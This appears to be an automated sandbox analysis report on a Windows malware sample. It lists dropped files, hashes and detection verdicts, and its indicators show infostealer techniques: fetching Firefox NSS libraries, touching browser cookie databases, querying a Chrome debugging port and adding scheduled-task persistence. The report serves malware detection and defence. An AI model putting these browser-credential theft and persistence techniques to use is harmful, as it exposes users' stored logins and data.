C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3256832
Entropy (8bit):	6.659927590165913
Encrypted:	false
SSDEEP:	49152:RTprX81PKH6J3vRPlf7CncYrHDsGaaaH9gUNbWIXrwg65t:T81PKaJ3vRN2ncYrH+dFB8g
MD5:	68D337CEFD0D798EAE5BB67DABD97D11
SHA1:	A2C97610906991A227E52CCB7FC55FE8C2FE8774
SHA-256:	8FC1BD816B1865518FF0620F8AC09A85AA3D8C5D660BA423B7D13B09F325BAA9
SHA-512:	0AE6F81307950D38C7FC78237720BBD55BAC9244AFE74101E12BE868AB6F0C3A7BFAA641AA636A947E3C4934510200EBEE2A2057EB5C37F98A3B4887D5E43929
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......2...@.................................W...k...........................H.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...rzyboxfo..+.......*.................@...hkjloacr......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.364540367220348
Encrypted:	false
SSDEEP:	48:SfNaoQq0bAO0bA1TEQq0bALfNaoQaaPaHQaayfNaoQ8pAQ8AfNaoQBOu+K0UrU0P:6NnQqcfcOTEQqc2NnQHSHQHaNnQVQRN4
MD5:	C29AFC28B2C65036625BB4613460FA4F
SHA1:	BF0F85AAFB10FE61743ADD00DFAFF88C770C3D48
SHA-256:	C48C19F59DEA83285BDF75AB8C98352A116C9B54B5238BB27C8E301A29D7BA0F
SHA-512:	EB285EDDFBBE01CDDED35A222FB142BB3D4FBC1F483137CDB6683D8E6A65DAC6C9F200D8470A50A901317D2AE0A98E9B15FE518D225934424D143121079E5D4B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/FD898B9E33CC1B5080874CB9031D23BD",.. "id": "FD898B9E33CC1B5080874CB9031D23BD",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/FD898B9E33CC1B5080874CB9031D23BD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/476392C0F17589DC9CA878B0B7498C74",.. "id": "476392C0F17589DC9CA878B0B7498C74",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/476392C0F17589DC9CA878B0B7498C74"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\DGIJDAFCFH.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3256832
Entropy (8bit):	6.659927590165913
Encrypted:	false
SSDEEP:	49152:RTprX81PKH6J3vRPlf7CncYrHDsGaaaH9gUNbWIXrwg65t:T81PKaJ3vRN2ncYrH+dFB8g
MD5:	68D337CEFD0D798EAE5BB67DABD97D11
SHA1:	A2C97610906991A227E52CCB7FC55FE8C2FE8774
SHA-256:	8FC1BD816B1865518FF0620F8AC09A85AA3D8C5D660BA423B7D13B09F325BAA9
SHA-512:	0AE6F81307950D38C7FC78237720BBD55BAC9244AFE74101E12BE868AB6F0C3A7BFAA641AA636A947E3C4934510200EBEE2A2057EB5C37F98A3B4887D5E43929
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......2...@.................................W...k...........................H.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...rzyboxfo..+.......*.................@...hkjloacr......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\DGIJDAFCFH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3256832
Entropy (8bit):	6.659927590165913
Encrypted:	false
SSDEEP:	49152:RTprX81PKH6J3vRPlf7CncYrHDsGaaaH9gUNbWIXrwg65t:T81PKaJ3vRN2ncYrH+dFB8g
MD5:	68D337CEFD0D798EAE5BB67DABD97D11
SHA1:	A2C97610906991A227E52CCB7FC55FE8C2FE8774
SHA-256:	8FC1BD816B1865518FF0620F8AC09A85AA3D8C5D660BA423B7D13B09F325BAA9
SHA-512:	0AE6F81307950D38C7FC78237720BBD55BAC9244AFE74101E12BE868AB6F0C3A7BFAA641AA636A947E3C4934510200EBEE2A2057EB5C37F98A3B4887D5E43929
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......2...@.................................W...k...........................H.1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...rzyboxfo..+.......*.................@...hkjloacr......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\DGIJDAFCFH.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.43743397217969
Encrypted:	false
SSDEEP:	6:lwGMwnlbXUhXUEZ+lX1CGdKUe6tE9+AQy0lWt0:lKwnZ4Q1CGAFD9+nVWt0
MD5:	E22FE4081FBAF1D4EAF48C044AF9A332
SHA1:	C0BE7B824FE6F9A3A410D1F7B591C1E78ED6EFB2
SHA-256:	23EBABB360BDAD42BAF18F138792967FF1A1FC4C00D369AA1493C4EAE134705C
SHA-512:	6F624A63C860F1FBB11F5D41A91A7B4FF7A9E442A0F09771699091A5978AD14130B58D0CA4E1B60A3CCDC0B85873BF8B8CFB7ECF651D09963FBC8B8C55C0DB97
Malicious:	false
Preview:	....;t../\|A....dzA.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................'.@3P.........................

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8329)
Category:	downloaded
Size (bytes):	8334
Entropy (8bit):	5.770382760744503
Encrypted:	false
SSDEEP:	192:s4N6666Vu2KI/g6nS9SN6666VjIjdOPajJcN6666VGmCFgqWflIB4BI:su6666wY46Sq6666esPKE6666hOgqWN2
MD5:	251BBA006BC22056A91CD125201680B7
SHA1:	C1050529EF753C6B61D8AD43C0145E3695D8E531
SHA-256:	40C772A59A3EA4DAEDB7D679BE9B7C2526825D9E1E340740B2A57E8FA7DE69FA
SHA-512:	669536863F27A5F9AB0B9D988DF8149BA5B496E345D45120CB9AEDD004B3C17A1F73A9DDCB29605C013DE42501738BE5856D9C903904642ACD9F359EC0152862
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["pushpa movie box office collection","fifa club world cup soccer","poe2 mercenary","disney moana 2 box office","wells fargo bank class action settlement","pope francis","dan ashworth","the gpt era is already ending"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CgkvbS8wNGxfOHcSMEZJRkEgSW50ZXJjb250aW5lbnRhbCBDdXAg4oCUIFNvY2NlciBjb21wZXRpdGlvbjLnDGRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWFBQUFDQWdNQUFBQUFBQUFBQUFBQUFBQUFCZ0lGQXdRSC84UUFMeEFBQVFNREJBRUJCZ1lEQUFBQUFBQUFBUUlEQkFBRkVRWVNJVEZCVVJNaU1tRnhzUWRUZ1pHaHdSWkNVdi9FQUJjQkFBTU

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134253
Entropy (8bit):	5.441744229201188
Encrypted:	false
SSDEEP:	3072:f4kX33ov7GsG688fJbk/5xnsdLWjwR2i6o:fD3lr6t2/5xnsdawR8o
MD5:	5C60558E407BACF904559775E7B19130
SHA1:	086A2B3137190CBC915DABB112A2A795B14B37DC
SHA-256:	9377277C4069146BF057732A9043081D3C583E103BA2EFDA877D32AB032E12B3
SHA-512:	52161610510C625DA4E25C1B6C2B20CA64BC809B5A9675EA368BE203C33B3C4744E579CB0AC7338F9133ACC679688BBFC71E7673E7A0992FAC78867E1A5DA969
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.942720868291295
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'756'160 bytes
MD5:	5282d7feebf600d675b428a5ae1f000c
SHA1:	d693c04b717704567d1e9165997e9c2fddd1b7f8
SHA256:	5af770df514a795074bf7c7baac9ce29f273da59c8a261664dc5eec3d35d1c28
SHA512:	39dcb5229d161cb9b951e241500374211e312558f50d6efb9a69a65e5acdae4363ee3ae14fd5f5a3817beed632f4918ace3614e519b0d2bbe8171b9c2131cb54
SSDEEP:	24576:T4eDbIuEL0xswpfpxtL01GqSrVDTlmjL3qmmJmhgznodn0c3PtoJ0rmM2Jrht4bZ:TLbzETmfj1dxVDTQLASn0coLtUIY
TLSH:	928533FB243651EEE0A60F38663976FB1F00FF564B64C4F96F910521832CE5905ABA2C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa75000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
